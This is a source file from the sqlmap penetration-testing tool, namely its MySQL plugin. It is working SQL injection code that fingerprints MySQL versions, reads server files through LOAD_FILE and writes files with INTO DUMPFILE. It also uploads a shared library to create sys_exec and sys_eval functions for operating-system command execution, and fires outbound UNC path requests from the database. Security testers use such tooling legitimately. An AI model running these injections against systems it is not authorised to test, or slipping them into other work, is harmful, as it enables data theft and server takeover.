mirror of
https://github.com/sqlmapproject/sqlmap.git
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572 lines
22 KiB
Python
572 lines
22 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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import os
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import re
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from lib.core.agent import agent
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from lib.core.common import formatDBMSfp
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from lib.core.common import formatFingerprint
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from lib.core.common import getHtmlErrorFp
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import paths
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from lib.core.exception import sqlmapNoneDataException
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.session import setDbms
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from lib.core.settings import MYSQL_ALIASES
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from lib.core.settings import MYSQL_SYSTEM_DBS
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from lib.core.unescaper import unescaper
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from lib.techniques.inband.union.test import unionTest
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from lib.techniques.inband.union.use import unionUse
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from plugins.generic.enumeration import Enumeration
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from plugins.generic.filesystem import Filesystem
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from plugins.generic.fingerprint import Fingerprint
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from plugins.generic.misc import Miscellaneous
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from plugins.generic.takeover import Takeover
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class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
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"""
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This class defines MySQL methods
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"""
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def __init__(self):
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self.__basedir = None
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self.__datadir = None
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self.excludeDbsList = MYSQL_SYSTEM_DBS
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self.sysUdfs = {
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# UDF name: UDF return data-type
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"sys_exec": { "return": "int" },
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"sys_eval": { "return": "string" },
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"sys_bineval": { "return": "int" }
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}
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Enumeration.__init__(self, "MySQL")
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Filesystem.__init__(self)
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Takeover.__init__(self)
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unescaper.setUnescape(MySQLMap.unescape)
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@staticmethod
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def unescape(expression, quote=True):
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if quote:
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while True:
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index = expression.find("'")
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if index == -1:
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break
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firstIndex = index + 1
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index = expression[firstIndex:].find("'")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
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lastIndex = firstIndex + index
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old = "'%s'" % expression[firstIndex:lastIndex]
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unescaped = ""
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for i in range(firstIndex, lastIndex):
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unescaped += "%d" % (ord(expression[i]))
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if i < lastIndex - 1:
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unescaped += ","
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expression = expression.replace(old, "CHAR(%s)" % unescaped)
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else:
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unescaped = "CHAR("
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unescaped += ",".join("%d" % ord(c) for c in expression)
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unescaped += ")"
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expression = unescaped
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return expression
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@staticmethod
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def escape(expression):
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while True:
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index = expression.find("CHAR(")
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if index == -1:
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break
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firstIndex = index
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index = expression[firstIndex:].find(")")
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if index == -1:
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raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
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lastIndex = firstIndex + index + 1
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old = expression[firstIndex:lastIndex]
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oldUpper = old.upper()
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oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
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oldUpper = oldUpper.split(",")
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escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
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expression = expression.replace(old, escaped)
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return expression
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def __commentCheck(self):
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infoMsg = "executing MySQL comment injection fingerprint"
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logger.info(infoMsg)
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query = agent.prefixQuery(" /* NoValue */")
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "unable to perform MySQL comment injection"
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logger.warn(warnMsg)
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return None
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# MySQL valid versions updated on 01/2010
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versions = (
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(32200, 32234), # MySQL 3.22
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(32300, 32360), # MySQL 3.23
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(40000, 40032), # MySQL 4.0
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(40100, 40123), # MySQL 4.1
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(50000, 50090), # MySQL 5.0
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(50100, 50142), # MySQL 5.1
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(50400, 50405), # MySQL 5.4
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(50500, 50502), # MySQL 5.5
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(60000, 60011), # MySQL 6.0
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)
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for element in versions:
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prevVer = None
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for version in range(element[0], element[1] + 1):
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randInt = randomInt()
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version = str(version)
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query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
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query = agent.postfixQuery(query)
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payload = agent.payload(newValue=query)
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result = Request.queryPage(payload)
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if result:
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if not prevVer:
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prevVer = version
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if version[0] == "3":
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midVer = prevVer[1:3]
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else:
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midVer = prevVer[2]
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trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
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return trueVer
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prevVer = version
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return None
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def getFingerprint(self):
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value = ""
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wsOsFp = formatFingerprint("web server", kb.headersFp)
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if wsOsFp:
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value += "%s\n" % wsOsFp
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if kb.data.banner:
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dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
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if dbmsOsFp:
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value += "%s\n" % dbmsOsFp
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value += "back-end DBMS: "
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actVer = formatDBMSfp()
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if not conf.extensiveFp:
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value += actVer
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return value
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comVer = self.__commentCheck()
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blank = " " * 15
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value += "active fingerprint: %s" % actVer
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if comVer:
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comVer = formatDBMSfp([comVer])
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value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
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if kb.bannerFp:
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banVer = kb.bannerFp["dbmsVersion"]
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if re.search("-log$", kb.data.banner):
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banVer += ", logging enabled"
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banVer = formatDBMSfp([banVer])
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value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
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htmlErrorFp = getHtmlErrorFp()
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if htmlErrorFp:
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value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
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return value
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def checkDbms(self):
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"""
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References for fingerprint:
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* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
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* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
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* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
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* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
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* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
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"""
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if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
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setDbms("MySQL %s" % kb.dbmsVersion[0])
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if int(kb.dbmsVersion[0]) >= 5:
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kb.data.has_information_schema = True
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self.getBanner()
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if not conf.extensiveFp:
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return True
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infoMsg = "testing MySQL"
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logger.info(infoMsg)
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randInt = str(randomInt(1))
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payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
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result = Request.queryPage(payload)
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if result:
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infoMsg = "confirming MySQL"
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logger.info(infoMsg)
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payload = agent.fullPayload(" AND ISNULL(1/0)")
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result = Request.queryPage(payload)
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if not result:
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warnMsg = "the back-end DMBS is not MySQL"
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logger.warn(warnMsg)
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return False
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# Determine if it is MySQL >= 5.0.0
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if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt:
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kb.data.has_information_schema = True
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kb.dbmsVersion = [">= 5.0.0"]
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setDbms("MySQL 5")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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# Check if it is MySQL >= 5.5.0
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if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6":
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kb.dbmsVersion = [">= 5.5.0"]
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# Check if it is MySQL >= 5.1.2 and < 5.5.0
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elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False):
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if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
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kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"]
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elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
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kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"]
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elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
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kb.dbmsVersion = ["= 5.1.6"]
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elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt:
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kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"]
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else:
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kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"]
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# Check if it is MySQL >= 5.0.0 and < 5.1.2
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elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False):
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kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
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elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1":
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kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
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elif inject.getValue("DATABASE() LIKE SCHEMA()"):
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kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"]
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else:
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kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"]
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# Otherwise assume it is MySQL < 5.0.0
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else:
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kb.dbmsVersion = ["< 5.0.0"]
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setDbms("MySQL 4")
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self.getBanner()
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if not conf.extensiveFp:
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return True
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# Check which version of MySQL < 5.0.0 it is
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coercibility = inject.getValue("COERCIBILITY(USER())")
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if coercibility == "3":
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kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
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elif coercibility == "2":
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kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
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elif inject.getValue("CURRENT_USER()"):
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
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if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
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kb.dbmsVersion = ["= 4.1.0"]
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else:
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kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
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elif inject.getValue("FOUND_ROWS()", charsetType=1) == "0":
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kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
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elif inject.getValue("CONNECTION_ID()"):
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kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
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elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
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kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
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else:
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kb.dbmsVersion = ["< 3.22.11"]
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return True
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else:
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warnMsg = "the back-end DMBS is not MySQL"
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logger.warn(warnMsg)
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return False
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def checkDbmsOs(self, detailed=False):
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if kb.os:
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return
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infoMsg = "fingerprinting the back-end DBMS operating system"
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logger.info(infoMsg)
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datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
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if datadirSubstr == "/":
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kb.os = "Linux"
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else:
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kb.os = "Windows"
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infoMsg = "the back-end DBMS operating system is %s" % kb.os
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logger.info(infoMsg)
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self.cleanup(onlyFileTbl=True)
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def unionReadFile(self, rFile):
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
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return result
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def stackedReadFile(self, rFile):
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
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self.getRemoteTempPath()
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tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
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debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
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debugMsg += "into temporary file '%s'" % tmpFile
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logger.debug(debugMsg)
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inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
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debugMsg = "loading the content of hexadecimal encoded file "
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debugMsg += "'%s' into support table" % rFile
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logger.debug(debugMsg)
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inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
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length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)
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if not length.isdigit() or not len(length) or length in ( "0", "1" ):
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errMsg = "unable to retrieve the content of the "
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errMsg += "file '%s'" % rFile
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raise sqlmapNoneDataException, errMsg
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length = int(length)
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sustrLen = 1024
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if length > sustrLen:
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result = []
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for i in range(1, length, sustrLen):
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chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)
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result.append(chunk)
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else:
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result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
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return result
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def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
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logger.debug("encoding file to its hexadecimal string value")
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fcEncodedList = self.fileEncode(wFile, "hex", True)
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fcEncodedStr = fcEncodedList[0]
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fcEncodedStrLen = len(fcEncodedStr)
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if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
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warnMsg = "the injection is on a GET parameter and the file "
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warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
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warnMsg += "bytes, this might cause errors in the file "
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warnMsg += "writing process"
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logger.warn(warnMsg)
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unionTest()
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oldParamFalseCond = conf.paramFalseCond
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conf.paramFalseCond = True
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
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logger.debug(debugMsg)
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sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
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unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")
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conf.paramFalseCond = oldParamFalseCond
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if confirm:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
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debugMsg = "creating a support table to write the hexadecimal "
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debugMsg += "encoded file to"
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logger.debug(debugMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
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logger.debug("encoding file to its hexadecimal string value")
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fcEncodedList = self.fileEncode(wFile, "hex", False)
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debugMsg = "forging SQL statements to write the hexadecimal "
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debugMsg += "encoded file to the support table"
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logger.debug(debugMsg)
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sqlQueries = self.fileToSqlQueries(fcEncodedList)
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logger.debug("inserting the hexadecimal encoded file to the support table")
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for sqlQuery in sqlQueries:
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inject.goStacked(sqlQuery)
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
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logger.debug(debugMsg)
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
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inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
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if confirm:
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self.askCheckWrittenFile(wFile, dFile, fileType)
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def udfSetRemotePath(self):
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self.getVersionFromBanner()
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banVer = kb.bannerFp["dbmsVersion"]
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# On Windows
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if kb.os == "Windows":
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# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
|
if banVer >= "5.1.19":
|
|
if self.__basedir is None:
|
|
logger.info("retrieving MySQL base directory absolute path")
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
|
self.__basedir = inject.getValue("SELECT @@basedir")
|
|
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
|
|
|
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
|
kb.os = "Windows"
|
|
|
|
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
|
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
|
|
|
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
|
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
|
else:
|
|
#logger.debug("retrieving MySQL data directory absolute path")
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
|
#self.__datadir = inject.getValue("SELECT @@datadir")
|
|
|
|
# NOTE: specifying the relative path as './udf.dll'
|
|
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
|
self.__datadir = "."
|
|
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
|
|
|
if re.search("[\w]\:\/", self.__datadir, re.I):
|
|
kb.os = "Windows"
|
|
|
|
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
|
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
|
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
# On Linux
|
|
else:
|
|
# The SO can be in either /lib, /usr/lib or one of the
|
|
# paths specified in /etc/ld.so.conf file, none of these
|
|
# paths are writable by mysql user by default
|
|
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
|
|
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
|
if udf in self.udfToCreate:
|
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
|
|
|
ret = inpRet["return"]
|
|
|
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
|
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
|
|
|
self.createdUdf.add(udf)
|
|
else:
|
|
logger.debug("keeping existing UDF '%s' as requested" % udf)
|
|
|
|
def udfInjectCmd(self):
|
|
self.udfLocalFile = paths.SQLMAP_UDF_PATH
|
|
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
|
|
|
|
if kb.os == "Windows":
|
|
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
|
self.udfSharedLibExt = "dll"
|
|
else:
|
|
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
|
|
self.udfSharedLibExt = "so"
|
|
|
|
self.udfInjectCore(self.sysUdfs)
|
|
|
|
def uncPathRequest(self):
|
|
if not kb.stackedTest:
|
|
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
|
|
query = agent.postfixQuery(query)
|
|
payload = agent.payload(newValue=query)
|
|
|
|
Request.queryPage(payload)
|
|
else:
|
|
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
|